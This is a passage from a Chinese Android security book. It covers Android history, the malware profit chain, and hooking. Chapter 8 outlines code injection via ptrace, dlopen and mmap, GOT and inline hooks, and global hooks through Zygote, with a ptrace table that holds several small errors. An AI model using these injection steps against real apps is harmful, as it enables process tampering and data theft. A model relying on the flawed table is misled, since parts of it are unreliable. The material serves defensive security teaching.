Android安全技术揭秘与防范

978-7-115-40166-3
作者: 周圣韬
译者:
编辑: 张涛

图书目录:

详情

本书从分析Android系统的运行原理、框架和主要模块入手现,着重分析了Android系统存在的安全技术问题,以及这些技术在移动设备上产生的安全问题,让读者了解如何静态分析Android软件、如何动态调试Android软件、如何开发出安全的APP、如何使自己的系统不会被盗版等。这本书几乎每一个部分,都结合实际例子,一步步讲解,可以使读者了解APP安全的问题,给开发者一些防范技术。

图书摘要

版权信息

书名:Android安全技术揭秘与防范

ISBN:978-7-115-40166-3

本书由人民邮电出版社发行数字版。版权所有,侵权必究。

您购买的人民邮电出版社电子书仅供您个人使用,未经授权,不得以任何方式复制和传播本书内容。

我们愿意相信读者具有这样的良知和觉悟,与我们共同保护知识产权。

如果购买者有侵权行为,我们可能对该用户实施包括但不限于关闭该帐号等维权措施,并可能追究法律责任。


周圣韬,曾任职于金山、360公司做Android开发、安全审计工作,现在为百度手机助手客户端高级开发工程师。

专业书评

出一本安卓系统安全方面的书,挺不简单的!360是做安全的,周圣韬从360出来还能做安全方面的事儿,说明他跟360还有缘分。这本书我仔细看了一下,挺全的,是一本不错的工具书。

——360公司创始人董事长兼CEO、知名天使投资人,周鸿祎

本书卖点

360公司创始人董事长兼CEO、知名天使投资人,周鸿祎推荐

36个功防案例的实战演示,详细剖析Android应用的安全技术

由浅入深,全面分析了Android 中5个层级的不同攻击与防御方式

涵盖了Android系统安全的核心技术:Root安全、键盘监控、Smali代码分析、ARM体系结构与反汇编、广告植入与去除、App登录劫持、内核级Rootkit攻防、App应用加固与渗透测试等

众多的Android 安全问题和Android的攻防技术,本书都以实例形式给出精彩解答!


本书从分析Android系统的运行原理、框架和主要模块入手,着重分析了Android系统存在的安全技术问题,以及这些技术在移动设备上产生的安全问题,帮助读者了解如何静态分析Android软件,如何动态调试Android软件,如何开发出安全的App,如何使自己的系统不被盗版,以及Android漏洞、逆向工程和反汇编等核心技术。这本书几乎每一个部分,都结合实际例子,一步步讲解,可以使读者了解App安全的问题,给开发者一些防范技术,是一本特别实用的Android安全指南。移动设备开发者、安全研究人员、Android应用程序开发者和负责评估Android安全性的技术人员都可以在本书中找到必要的指导。


随着Android的快速发展,智能设备得到了很大的普及,小到手机、一副眼镜和一块手表,大到智能TV和汽车上的智能设备,Android系统已经深入到各个方面,形成了一个IT生态系统,但由于Android系统是开源的,许多人在研究系统源程序的基础上开发了很好的产品,如小米手机、各种App应用、各种穿戴设备等。在技术被利用的同时,一些黑客也开始对这种系统产生了兴趣,有的破解别人的App源程序作为自己的应用谋取利益,有的编写黑客程序窃取手机里的通信记录,有的逆向别人的系统进行盗版等,Android系统的安全问题越来越受大家的关注。为了给读者增强Android系统的安全知识,帮助个人保护好个人隐私,帮助开发者开发出更安全的App程序,帮助企业建立稳固的系统,本书特意就Android系统存在的安全技术问题以及安全补救的技术进行了全面的阐述,并通过实例让读者达到学以致用的目标。

读者学习本书应该按照章节顺序进行阅读,这样可以系统地学习Android的安全知识,但是正在深入研究 Android安全技术的读者,也可以将本书作为一本参考资料。本书共分为11章,几乎涵盖了安全研究人员学习Android所需要了解的所有内容。这些章节通过图、表、效果图、源程序和反汇编程序等来介绍Android安全技术,并探讨了Android系统漏洞、逆向工程和App的安全技术。全书的主要内容为:理解Android系统、Root你的设备、Root漏洞、Root安全、键盘监控、APK静态分析、常用分析利器、资源逆向工具AXMLPrinter、超级编辑器UltraEdit、常用的Smali 注入代码、广告植入与去除、APK动态分析、代码安全分析、使用Log进行逻辑跟踪、网络抓包、调试WebView App、SQL注入攻击、动态注入技术、Hook原理、Hook的危害、App登录劫持、Hook检测/修复、应用加固与渗透测试、防止利用系统组件漏洞、Activity编码安全、Brocast Recevier编码安全、Service编码安全、Provider编码安全、防止逆向、DEX保护、防止二次打包、防止进行动态注入、Android渗透测试、应用程序渗透测试、系统安全措施、启动验证、磁盘加密、屏幕安全、图案锁、USB调试安全、ADB认证秘钥、增强型内核SELinux/SEAndroid、SELinux的启动与关闭、内核攻击与防护、Linux可加载的内核模块、剖析内核模块、系统接口重定向、内核级 Rootkit 攻击位置、攻击内核剖析、隐藏潜伏模块、内核级Rootkit检测、Android Rootkit检测系统模型、电话子系统攻击检测、Rootkit的植入与启动等核心知识。 由于写作仓促,加上作者水平有限,书中难免存有不足之处,希望广大读者阅读后给出完善建议,Android学习交流QQ群:341989536。编辑联系邮箱:zhangtao@ptpress.com.cn。

任何想要加深对Android安全认识的人都可以阅读本书,不管是软件开发者、嵌入式系统设计师、安全架构师,还是安全研究人员,本书都会帮助你拓宽对Android安全的理解。


近年来我们对“Android”这个词已经不再陌生。在过去的几年时间里,Android的快速发展已经影响到了每个人的日常生活。如今Android不仅仅意味着一台手机、一部平板电脑,也可能是一台电视、一只手表、一部智能汽车、一副眼镜。然而,在一个生态系统形成的同时,总会有一群人希望通过一些不常规的手段谋取利益。

本章主要从Android黑色产业链与破解人员的动机来分析Android的安全问题。

Android是一种基于Linux的、开放源代码的操作系统,主要适用于移动设备,如智能手机和平板电脑等,Android操作系统最初由Andy Rubin开发,主要支持手机。2005年8月由Google收购注资。2007年11月,Google与84家硬件制造商、软件开发商及电信运营商组建开放手机联盟共同研发Android系统。随后,Google以Apache开源许可证的授权方式,发布了Android的源代码。第一部Android智能手机发布于2008年10月。Android逐渐扩展到平板电脑及其他领域上,如电视、数码相机、游戏机等。2011年第一季度,Android在全球的市场份额首次超过塞班系统,跃居全球第一。2013年的第四季度,Android平台手机的全球市场份额已经达到78.1%。2013年9月24日,Google开发的操作系统Android迎来了5岁生日,全世界采用这款系统的设备数量已经达到10亿台。

Android系统一向以甜品名称为版本代号,而名称首字母是按照ABCEFG排序的。Android 1.5,它的代号是纸杯蛋糕(Cupcake),是Android正式步入市场的第一步。Android 2.3是最经典的Android系统版本,至今仍占有很大份额。Android 4.x是目前占据市场份额最大的版本。Android 5.0发布之后,Android已经向智能穿戴设备迈进了一大步。尤其是Android 5.0版本会强制开启SELinux(Android上又称为SEAndroid),这是美国国家安全局推出的Linux史上最杰出的安全子系统,新设备也会默认自动开启加密。

表1-1显示了Android各版本的代号、发布时间和特性。

表1-1 Android操作系统的发展表

时间

版本

简介

Logo

2008年9月

Android 1.1

Google发布第一版Android系统,其拥有完整的应用商店,以及HTML网页浏览等功能

 

2009年4月

Android 1.5 Cupcake

Google推出Android 1.5,加入全新智能虚拟键盘、来电照片显示、复制/粘贴等功能

 

2009年9月

Android 1.6 Donut

Android 1.6亮相,新增手势搜索、语音搜索应用集成、语音阅读等功能

 

2009年10月

Android 2.0/2.1 Eclair

Android 2.0发布。2010年1月,Android 2.1优化了支持多分辨率显示、界面改进

 

2010年5月

Android 2.2 Froyo

Android 2.2横空出世,支持Flash 10.1、移动热点、多语言键盘等功能

2010年12月

Android 2.3 Gingerbread

Google推出Android 2.3,支持NFC、原生视频聊天、全新商店、Google Music等功能

2011年2月

Android 3.0 HoneyComb

Android 3.0发布,专为平板优化,加入全新Gmail应用、Google Talk等功能

2011年10月

Android 4.0 Icecream Sandwich

Android 4.0提升了流畅度,支持虚拟按键替代物理按键,可在主界面建立文件夹

2012年

Android 4.1/4.2/4.3 Jelly Bean

Android 4.1/4.2亮相,支持离线语音输入等功能。2013年7月,Android 4.3发布

2013年9月

Android 4.4 KitKat

Android 4.4最低支持512MB RAM机型、无线打印、内置Hangouts IM和健身应用

2014年10月

Android 5.0 Lollipop

Material Design设计风格,支持多种设备,改进安全性

因为Android系统是Google出的,且Nexus手机也是Google的品牌,许多系统的更新我们只能在Nexus上看得到。图1-1,就显示了Google近年来所推出的Nexus系列手机。

图1-1 谷歌Nexus系列Android手机

原本就很碎片化的Android系统,到了我国变得更碎片。从ROM到手机桌面,有许多个版本存在。

1.2.2.1 国产ROM

在Android智能手机硬件大比拼的同时,Android系统的开源也使得第三方定制ROM多种多样,给用户带来了多样化的体验。国产定制的Android系统有很多,每一个厂商都有自己的ROM。

1.2.2.2 手机桌面

因为刷机的门槛比较高,而且会存在一定的风险,所以普通的用户在深受各种ROM骚扰下更喜欢的是装一个桌面。对于Android来说这其实就是一个Launcher,一个系统的首屏的全套解决方案。因为其是一个入口级别的产品,所以各大商家也都推出了自己的桌面App。但是,相对于手机ROM来说,手机桌面只能是用户首屏的一个整套解决方案,其安全优化与性能优化远不能和ROM相提并论。

“Android不是为了安全设计的,它是为了开放而设计的”,这是Google Android业务掌门人Sundar Pichai在MWC大会上被问到“为什么Android上恶意软件泛滥”时做出的回应。Android开放与安全的关系如图1-2所示。

图1-2 Android安全与开放关系图

这位Google高管表示,假如他是个恶意应用开发者的话,也会把Android作为首选平台。“我们不能保证Android是为了安全而设计的,它的设计目的是给用户提供更多的自由度。有人表示90%的恶意软件都是针对Android平台的,他们忽略了这样一个事实,那就是Android现在是世界上最流行的系统。如果我有一家恶意软件开发公司,我也会选择攻击Android平台。”Pichai说道。

确实,Google一开始的战略就是希望Android变为最开放的操作系统,人们可以在上面任意地定制自己喜欢的东西。但这个并不意味着安全不重要,获得更高的安全性仍然是打造Android的初衷。Android是一个开放的平台,很多人可以通过多种方式使用Android,因此,就有一些合作伙伴制造了不同种类的Android设备。较早版本的Android操作系统会面临一些安全隐患,但并不表示Android本身不安全。GooglePlay应用市场会从应用的生产源头,对数千个提交上架申请的应用进行扫描,以保证它不含有恶意程序。当然,只要用户的手机能够及时更新,那么Android操作系统会很安全。

虽然Google在Android的安全上也做了很多的改善与补救措施,但国内的很多Google服务是无法使用的,许多第三方应用商店监管不严,导致恶意软件泛滥的问题一直无法解决。

在网络技术迅猛发展的今天,各种移动终端层出不穷,大数据及云时代的到来更让网民大呼网络发展快速。对于中国来说,移动互联网的时代已经完完全全的到来,移动设备的使用频率已经超过了PC端。正因为网民对移动互联网有如此大的需求,才能促进移动互联网的快速发展。对于移动互联网的明天,我们认为不应该仅仅是手机、Pad,而应该是涉及我们日常生活中的方方面面,如手表、衣服、眼镜等智能穿戴设备。移动互联网的发展趋势,应该会有以下几种特点。

● Android将覆盖智能穿戴设备

移动互联网的发展也带动了智能穿戴设备的发展。如
图 1-3 所示,手机、衣服、眼镜,甚至一些我们完全不敢想象的方向都会出现移动互联网的影子。

图1-3 可穿戴式设备

Android的开源性以及其可定制性就会为各种嵌入式设备提供良好的系统环境支持,当然也会成为极客们针对智能穿戴设备设计使用的首选系统。

● 手机将变为物联网的控制中心

从2013年开始,我们会发现虽然手机每年都会发布很多款,但是移动手持设备的创新与发展的脚步已经变得很慢了。因为大家都知道,目前的手机设备已经定型,希望在上面做更多的创新已经非常难了。更多的是制作其他的外置设备,如移动手环、手表,这些东西必须需要一个控制器或界面来承载它们的信息输入与输出,手机将会承载这一重要的职位。这也就造就了手机将会变为物联网的控制中心。

● 传统行业在移动互联网上将有突破

互联网快速聚集财富的能力让很多人加入其中。所以很多非互联网的传统行业当然也希望搭乘互联网的快车,尝到互联网带来的甜头。

● 移动开发将变得傻瓜化与复杂化

移动互联网的快速发展将会使得移动应用的开发供不应求,各类的跨平台与傻瓜式的开发平台将会出现,如拖曳式的编程、图形化的编程。开发一款App将不再是难事,任何一个人只要想学习Android应用程序开发都能够在几天之内学会。

当然,傻瓜似的工具并不能够真正地解决Android系统上存在的安全问题,对于底层安全以及设计架构上的需求必然会越来越大,这就使得移动开发将存在傻瓜化与复杂化并存的现象。

很多人喜欢拿iOS系统来与Android系统做比较。这是由于它俩是目前市面上最流行的手机操作系统。但是,我们只要从专业角度来看,会发现它们有许多不同点。

iOS是由苹果公司开发的手持设备操作系统,最初是设计给iPhone使用的,后来陆续套用到iPod touch、iPad以及Apple TV等苹果产品上。它也是以Darwin为基础的,因此同样属于类UNIX的商业操作系统。

Android是一种以Linux为基础的开放源码的操作系统,Android操作系统最初由Andy Rubin开发,主要应用于手机平台。2005年由Google收购注资,并和多家制造商组成开放手机联盟对其开发,逐渐扩展到平板电脑及其他领域上。至目前为止,Android跃居全球最受欢迎的智能手机平台。

在便携式设备领域,iOS和Android分别的优势和劣势也日益明显。

Android采用的是Java技术,所有应用在Dalvik虚拟机中运行,Dalvik是Google专门为移动设备优化的Java虚拟机。因此Android具有成熟、存在大量可重用代码的优点,也有占内存大、运行速度略低的缺点。

而Apple iOS的体系架构相对较为传统,但运行效率高,对硬件的要求低,成本优势大,在现有的硬件条件下,应用运行具有最好的顺畅感,也更加省电。系统架构朴实无华,但干净清晰,是目前最有效率的移动设备操作系统。

表1-2就Android与iOS两个系统做了一个对比。

表1-2 Android与iOS系统对比表

对比项

Android

iOS

应用运行环境

运行在Java虚拟机(Dalvik)内

运行在原生系统上

应用收费标准

Google Play上大部分可以免费获取 国内的市场都是免费的

App Store上大部分需要付费(或者部分内容需要)

源码

开源

闭源

设备硬件要求

系统可以被匹配在各种不同类型设备

系统仅可以在平板和手机上使用

设备外设接口

可以兼容不同的外接设备

仅可兼容苹果认证的设备

设备价格

覆盖所有价格区间

专注高端市场

设备购买渠道

由各种厂商提供

仅由苹果公司提供

很多人都说,iOS比Android安全,因为,Android是开放性的,且Android系统的使用数量的基数大,即使系统漏洞的百分比再小,但是整体数量依然水涨船高。而iOS就个体而言,安全问题比较严重。由于整体数量、受众人群的关系,漏洞数还是无法赶超Android。虽然Android漏洞数量居高不下,但是,必须透过现象看到数据安全的本质。

1.3.2.1 Android系统安全性分析

其实,Android的恶意应用比手机漏洞更可怕。而滋生恶意应用的土壤就是Android的开源性,由于应用的发布监管机制不够严格,很多应用的发布无需权威机构审核即可随意发布应用,而且很多应用都会申请一些与它本身功能并没有什么关系的系统权限。

再者,Android存在各类第三方App碎片化问题,很多App开发者由于缺少审核机制,恶意软件开发商可以轻易地发布一些仿冒的产品,因此山寨应用在Android平台上层出不穷。有很多恶意产品甚至直接修改国内、外知名App产品,在其中增加恶意代码后便在论坛或某些软件商店发布。对于普通用户来说,分辨难度极大。

最后,Android系统上的许多应用无需Root就能够替换掉一些系统的核心应用,诸如输入法、市场、通信录等。这类应用是最敏感的,它们能直接记录用户的隐私。不法分子通过山寨版的App轻易地就能获得用户的隐私信息,轻则做广告的个性化推荐,重则直接盗取。因此,开放就是一把双刃剑,把握不好则会伤到自己。

1.3.2.2 iOS系统安全性分析

iOS应用的审核上架是由苹果公司负责,应用的收益、支付、分成都有一套完整的体系。虽说审核周期较长,但从根本上杜绝了恶意、山寨应用的滋生。

除此之外,苹果对涉及系统核心层的应用都采取封闭的措施。禁止了第三方应用市场的使用,目前的第三方应用程序只能通过用户打开“开发者模式”才能安装到手机上(当然,这样安装的应用经常会出现闪退)。如果用户希望使用一些高权限的应用,如手机管家类的应用,则必须通过“越狱”后才能正常使用。

就因为这样,iOS给广大用户留下了“比Android系统更安全”的印象。但是,无可否认苹果在杜绝恶意应用这一方面确实做得比Android出色,因为这些是导致系统不稳定的最大因素。但从客观的技术检测与架构上来看,iOS系统本身也存在有不安全的因素。


目前Android设备已经遍布全球,人们就会想着各种方法从这海量的用户里面捞取利益。创业者们会想着如何做出一款让大家都喜欢的、解决大家实际问题的 App;游戏开发商们想着如何让Android用户将自己的碎片时间都用在玩自己所开发的手机游戏上;手机制造商们想着如何让自己所生产的Android手机销量更好;而黑客们,却想着怎么样用自己的技术通过非正常手段获取利益。

如果你还认为黑客们的手段就是拨打欺诈电话、发送欺诈短信,那你就落伍了。黑客们攻击的手段层出不穷,有些手段你可能未曾听说,有些也许你已习以为常。本章就从Android黑色产业链的盈利模式开始,向读者解读为什么这么多人愿意冒着巨大的风险从事这“见不得光”的事业。

你们的盈利模式是什么?你们从哪里赚到钱的?这些都是人们对互联网行业的疑问,那就更别提黑客们怎么赚钱了。图2-1所示就是一个移动互联网行业地下盈利模式,从图2-1中可以发现,

图2-1 Android地下产业链盈利图

移动互联网的黑色产业链赚钱的方式可谓是多种多样。有些是直接盗取了用户的隐私来贩卖,有些是直接偷跑流量来扣去高额的流量费,有些则是恶意推广通过广告费来牟取暴利。

众所周知,互联网行业是能够在短时间内聚集大量用户的行业,只要有足量的用户,在App上植入一个广告能赚钱、窃取用户的隐私能赚钱,甚至直接窃取话费。对于黑客来说Android就是一个短时间内积累财富的行业,下面我们具体分析一下他们采用的手法。

使用过山寨手机的用户,经常会在手机中看到“游戏乐园”“占卜星座”“激情聊天”等比较有吸引力的菜单图标,好奇的用户如果点击进入,就有可能造成手机费用被扣除。这种预装在手机内部的、会吸费的应用软件,用户稍有不慎就会掉入“收费陷阱”,如图2-2所示。

图2-2 收费陷阱

也许你经常在应用中看到广告,也许你也曾遇到一款游戏,不下载广告里的内容就无法玩的窘境,甚至是安装了一款应用后莫名其妙地又装了其他应用,如图2-3所示。

图2-3 在应用程序中常见的弹窗广告

你也许知道这些都是广告,但是你可能不知道对这些广告的每次浏览或每次安装,开发者都能获得到一笔钱。

诱骗欺诈此类恶意软件往往是抓住了用户的弱点,对用户实施诱骗。人对于亲朋好友的求助肯定会相助。如果收到亲戚朋友急需钱的帮助的短信,第一反应会是汇款解围,这样就中了诱骗欺诈恶意软件的圈套。

图2-4所示就是一款恶意软件,在获取了手机通信录后,使用用户的手机向通信录中的每一个好友发送一条借钱信息的代码。

图2-4 欺诈短信发送软件反编译代码截图

手机是一个和我们息息相关的东西,上面记录着我们的联系人、短信、通话记录和日常拍摄的照片。通常手机弄丢的人会更担心里面隐私的泄露而不是手机本身的价值。

如果你认为隐私只是联系人、短信、通话记录和照片,那你就错了。我们在手机上的任何操作(搜索、点击、滑动等)都是隐私,应用一般都会在后台收集统计,目的就是为了广告的精准投放和给后期应用改版做参考。当然,不排除拿了敏感照片后敲诈勒索的行为。

虽然Android App数量多,每天都有上万个App上传到App市场上,但是,同质化也相当严重。例如,最常用的“手电筒”应用,随便搜索一下就能找到300多款。例如笔者在某应用市场上搜索“手电筒”就会看到大批量同质化的应用程序,如图2-5所示。

在这么多App中,有一些人却通过不正当手段赚着钱,他们就是“打包党”。他们只需将应用安装包进行简单的反编译后插入广告,再重新打包上传入应用市场就能坐等收益。有些逆向分析“打包党”甚至将安装包内的敏感付费信息截取出来,直接拦截开发者的劳动成果。

图2-5 某应用市场中,手电筒应用搜索结果

截至2014年8月,中国移动用户达到12.67亿,其中移动宽带用户(3G、4G)占比突破40%,达到5.1亿户;国内智能手机用户占比达到66%,三分之二的手机用户已经完成了智能化升级;通过手机上网的网民达到83.4%,手机首次超越PC成为第一大上网终端。移动互联网的发展,不仅极大地方便了人们的生活,也带来了诸如个人隐私安全、个人信息安全及个人财产安全等问题。

移动终端的时代已经到来,但是移动安全的发展远远比不上移动终端互联网发展的速度。在移动终端快速发展的时代,其所面临的安全威胁会比PC更为严重。因为移动手机用户终端属性更加贴近个人,个人信息更有价值。同时手机上不断扩展的办公、支付等业务功能,承载着巨大商业价值。

杀毒原本就是一个系统级别的操作,像Android这样对权限比较敏感的系统,杀毒应用没有获得Root权限更是寸步难行。

其实,Google的官方ROM中已经继承了自带的云查杀引擎。但是,由于国内无法使用Google的服务,很多系统模块都被精简掉了。而系统制作商们只有为数不多的几个厂家,有能力加入自己的安全保护措施。对于Android的碎片化与开放性,安全与系统结合在一起已是必然的结果了。

应用市场需要对自身的商业行为规范做好约束,对每个应用开发者的审核、版权审核保护,以及每个应用的使用权限进行监控等。只有用心地去给用户打造一个安全的平台,才能是一个让用户喜欢的应用市场平台。

正如本书的开头所说,Android这个词已经不仅仅指的是一台手机了。随着智能物联网的发展,我们所用的手表、汽车、空调、冰箱等电气设备都将会用上Android操作系统。所以,我们所面对的安全问题也不仅限于短信诈骗、山寨App上。NFC、蓝牙、WiFi、GPS、陀螺仪等传感器,也将会是黑客们攻击的重点方向。想象一下,如果连我们家里的智能冰箱、智能空调、智能电磁炉都能监控我们的一举一动,那将是件多么恐怖的事。智能物联网的到来是必然的,目前已经有很多创新型电子设备投入市场。但智能物联网的发展将会是Android安全上一次空前的挑战,而在安全上的高端技术人才也会变为很紧缺。谁控制了稀缺的资源,谁就控制了产业链,可以说谁能够把握好Android安全这个方向,谁就会是智能物联网的赢家。


我们在讨论动态注入技术的时候,APIHook的技术由来已久,在操作系统未能提供所需功能的情况下,利用APIHook的手段来实现某种必需的功能也算是一种不得已的办法。在Windows平台下开发电子词典的光标取词功能,这项功能就是利用Hook API的技术把系统的字符串输出函数替换成了电子词典中的函数,从而能得到屏幕上任何位置的字符串。无论是16位的Windows95,还是32位的Windws NT,都有办法向整个系统或特定的目标进程中“注入”DLL动态库,并替换掉其中的函数。

但是在Android上进行Hook需要跨进程操作,我们知道在Linux上的跨进程操作需要Root权限。所以目前Hook技术广泛地应用在安全类软件的主动防御上,所见到的Hook类病毒并不多。

Android系统在开发中会存在两种模式,一个是Linux的Native模式,而另一个则是建立在虚拟机上的Java模式。所以,我们在讨论Hook的时候,可想而知在Android平台上的Hook分为两种。一种是Java层级的Hook,另一种则是Native层级的Hook。两种模式下,我们通常能够通过使用JNI机制来进行调用。但我们知道,在Java中我们能够使用native关键字对C/C++代码进行调用,但是在C/C++中却很难调用Java中的代码。所以,我们能够在Java层级完成的事基本也不会在Native层去完成。

还没有接触过Hook技术读者一定会对Hook一词感觉到特别的陌生,Hook英文翻译过来就是“钩子”的意思,那我们在什么时候使用这个“钩子”呢?我们知道,在Android操作系统中系统维护着自己的一套事件分发机制。应用程序,包括应用触发事件和后台逻辑处理,也是根据事件流程一步步地向下执行。而“钩子”的意思,就是在事件传送到终点前截获并监控事件的传输,像个钩子钩上事件一样,并且能够在钩上事件时,处理一些自己特定的事件。较为形象的流程如图8-1所示。

Hook的这个本领,使它能够将自身的代码“融入”被勾住(Hook)的程序的进程中,成为目标进程的一个部分。我们也知道,在Android系统中使用了沙箱机制,普通用户程序的进程空间都是独立的,程序的运行彼此间都不受干扰。这就使我们希望通过一个程序改变其他程序的某些行为的想法不能直接实现,但是Hook的出现给我们开拓了解决此类问题的道路。当然,根据Hook对象与Hook后处理的事件方式不同,Hook还分为不同的种类,如消息Hook、API Hook等。

图8-1 Hook原理图

Hook技术无论对安全软件还是恶意软件都是十分关键的一项技术,其本质就是劫持函数调用。但是由于处于Linux用户态,每个进程都有自己独立的进程空间,所以必须先注入到所要Hook的进程空间,修改其内存中的进程代码,替换其过程表的符号地址。在Android中一般是通过ptrace函数附加进程,然后向远程进程注入so库,从而达到监控以及远程进程关键函数挂钩。

Hook技术的难点,并不在于Hook技术,初学者借助于资料“照葫芦画瓢”能够很容易就掌握Hook的基本使用方法。如何找到函数的入口点、替换函数,这就涉及了理解函数的连接与加载机制。

从Android的开发来说,Android系统本身就提供给了我们两种开发模式,基于Android SDK的Java语言开发,基于AndroidNDK的Native C/C++语言开发。所以,我们在讨论Hook的时候就必须在两个层面上来讨论。对于Native层来说Hook的难点其实是在理解ELF文件与学习ELF文件上,特别是对ELF文件不太了解的读者来说;对于Java层来说,Hook就需要了解虚拟机的特性与Java上反射的使用。

8.1.1.1 Hook工作流程

之前我们介绍过Hook的原理就是改变目标函数的指向,原理看起来并不复杂,但是实现起来却不是那么的简单。这里我们将问题细分为两个,一个是如何注入代码,另一个是如何注入动态链接库。

注入代码我们就需要解决两个问题。

注入动态共享库我们也需要解决两个问题:

这里我也不卖关子了,说一下目前对上述问题的解决方案吧。对于进程附着,Android的内核中有一个函数叫ptrace,它能够动态地attach(跟踪一个目标进程)、detach(结束跟踪一个目标进程)、peektext(获取内存字节)、poketext(向内存写入地址)等,它能够满足我们的需求。而Android中的另一个内核函数dlopen,能够以指定模式打开指定的动态链接库文件。对于程序的指向流程,我们可以调用ptrace让PC指向LR堆栈。最后调用,对目标进程调用dlopen则能够将我们希望注入的动态库注入至目标进程中。

对于代码的注入(Hook API),我们可以使用mmap函数分配一段临时的内存来完成代码的存放。对于目标进程中的mmap函数地址的寻找与Hook API函数地址的寻找都需要通过目标进程的虚拟地址空间解析与ELF文件解析来完成,具体算法如下。

目标进程函数绝对地址= 函数地址 + 动态库基地址

上面说了这么多,向目标进程中注入代码总结后的步骤分为以下几步。

(1)用ptrace函数attach上目标进程。

(2)发现装载共享库so函数。

(3)装载指定的.so。

(4)让目标进程的执行流程跳转到注入的代码执行。

(5)使用ptrace函数的detach释放目标进程。

对应的工作原理流程如图8-2所示。

图8-2 基于Ptrace的Hook工作流程

8.1.1.2 ptrace函数

说到了Hook我们就不能不说一下ptrace函数,ptrace提供了一种使父进程得以监视和控制其他进程的方式,它还能够改变子进程中的寄存器和内核映像,因而可以实现断点调试和系统调用的跟踪。使用ptrace,你可以在用户层拦截和修改系统调用(这个和Hook所要达到的目的类似),父进程还可以使子进程继续执行,并选择是否忽略引起终止的信号。

ptrace函数定义如下所示:

int ptrace(int request, int pid, int addr, int data);

对于ptrace来说,它的第一个参数决定ptrace会执行什么操作。常用的有跟踪指定的进程(PTRACE_ATTACH)、结束跟踪指定进程(PTRACE_DETACH)等。详细的参数与使用方式如表8-1所示。

表8-1 ptrace函数使用详情表

参数与形式

说明

ptrace(PTRACE_TRACEME,0 ,0 ,0)

本进程被其父进程所跟踪。其父进程应该希望跟踪子进程

ptrace(PTRACE_PEEKTEXT, pid, addr, data) ptrace(PTRACE_PEEKDATA, pid, addr, data)

从内存地址中读取一个字节,pid表示被跟踪的子进程,内存地址由addr给出,data为用户变量地址用于返回读到的数据

ptrace(PTRACE_POKETEXT, pid, addr, data) ptrace(PTRACE_POKEDATA, pid, addr, data)

往内存地址中写入一个字节。pid表示被跟踪的子进程,内存地址由addr给出,data为所要写入的数据

ptrace(PTRACE_PEEKUSR, pid, addr, data)

从USER区域中读取一个字节,pid表示被跟踪的子进程,USER区域地址由addr给出,data为用户变量地址用于返回读到的数据。USER结构为core文件的前面一部分,它描述了进程中止时的一些状态,如寄存器值,代码、数据段大小,代码、数据段开始地址等

ptrace(PTRACE_POKEUSR, pid, addr, data)

往USER区域中写入一个字节,pid表示被跟踪的子进程,USER区域地址由addr给出,data为需写入的数据

ptrace(PTRACE_CONT, pid, 0, signal)

继续执行。pid表示被跟踪的子进程,signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal

ptrace(PTRACE_SYS, pid, 0, signal)

继续执行。pid表示被跟踪的子进程,signal为0则忽略引起调试进程终止的信号,若不为0则继续处理信号signal。与PTRACE_CONT不同的是进行系统调用跟踪。在被跟踪进程继续运行直到调用系统调用开始或结束时,被跟踪进程被终止,并通知父进程

ptrace(PTRACE_KILL,pid)

杀掉子进程,使它退出。pid表示被跟踪的子进程

ptrace(PTRACE_KILL, pid, 0, signle)

设置单步执行标志,单步执行一条指令。pid表示被跟踪的子进程。signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。当被跟踪进程单步执行完一个指令后,被跟踪进程被终止,并通知父进程

ptrace(PTRACE_ATTACH,pid)

跟踪指定pid 进程。pid表示被跟踪进程。被跟踪进程将成为当前进程的子进程,并进入终止状态

ptrace(PTRACE_DETACH,pid)

结束跟踪。pid表示被跟踪的子进程。结束跟踪后被跟踪进程将继续执行

ptrace(PTRACE_GETREGS, pid, 0, data)

读取寄存器值,pid表示被跟踪的子进程,data为用户变量地址用于返回读到的数据。此功能将读取所有17个基本寄存器的值

ptrace(PTRACE_SETREGS, pid, 0, data)

设置寄存器值,pid表示被跟踪的子进程,data为用户数据地址。此功能将设置所有17个基本寄存器的值

ptrace(PTRACE_GETFPREGS, pid, 0, data)

读取浮点寄存器值,pid表示被跟踪的子进程,data为用户变量地址用于返回读到的数据。此功能将读取所有浮点协处理器387的所有寄存器的值

ptrace(PTRACE_SETREGS, pid, 0, data)

设置浮点寄存器值,pid表示被跟踪的子进程,data为用户数据地址。此功能将设置所有浮点协处理器387的所有寄存器的值

我们所讨论的Hook,也就是平时我们所说的函数挂钩、函数注入、函数劫持等操作。针对Android操作系统,根据API Hook对应的API不一样我们可以分为使用Android SDK开发环境的Java API Hook与使用Android NDK开发环境的Native API Hook。而对于Android中so库文件的函数Hook,根据ELF文件的特性能分为Got表Hook、Sym表Hook以及inline Hook等。当然,根据Hook方式的应用范围我们在Android这样一个特殊的环境中还能分别出全局Hook与单个应用程序Hook。本节,我们就具体地说说这些Hook的原理以及这些Hook方式给我们使用Hook带来的便利性。

TIPS

 对于Hook程序的运行环境不同,还可以分为用户级API Hook与内核级API Hook。用户级API Hook主要是针对在操作系统上为用户所提供的API函数方法进行重定向修改。而内核级API Hook则是针对Android内核Linux系统提供的内核驱动模式造成的函数重定向,多数是应用在Rootkit中。

8.1.2.1 Java层API Hook

通过对Android平台的虚拟机注入与Java反射的方式,来改变Android虚拟机调用函数的方式(ClassLoader),从而达到Java函数重定向的目的。这里我们将此类操作称为Java API Hook。因为是根据Java中的发射机制来重定向函数的,那么很多Java中反射出现的问题也会在此出现,如无法反射调用关键字为native的方法函数(JNI实现的函数),基本类型的静态常量无法反射修改等。

8.1.2.2 Native层So库Hook

主要是针对使用NDK开发出来的so库文件的函数重定向,其中也包括对Android操作系统底层的Linux函数重定向,如使用so库文件(ELF格式文件)中的全局偏移表GOT表或符号表SYM表进行修改从而达到的函数重定向,我们有可以对其称为GOT Hook和SYM Hook。针对其中的inline函数(内联函数)的Hook称为inline Hook。

8.1.2.3 全局Hook

针对Hook的不同进程来说又可以分为全局Hook与单个应用程序进程Hook,我们知道在Android系统中,应用程序进程都是由Zygote进程孵化出来的,而Zygote进程是由Init进程启动的。Zygote进程在启动时会创建一个Dalvik虚拟机实例,每当它孵化一个新的应用程序进程时,都会将这个Dalvik虚拟机实例复制到新的应用程序进程里面去,从而使每一个应用程序进程都有一个独立的Dalvik虚拟机实例。所以如果选择对Zygote进程Hook,则能够达到针对系统上所有的应用程序进程Hook,即一个全局Hook。对比效果如图8-3所示。

图8-3 Hook前和Hook后的对比

而对应的app_process正是zygote进程启动一个应用程序的入口,常见的Hook框架Xposed与Cydiasubstrate也是通过替换app_process来完成全局Hook的。

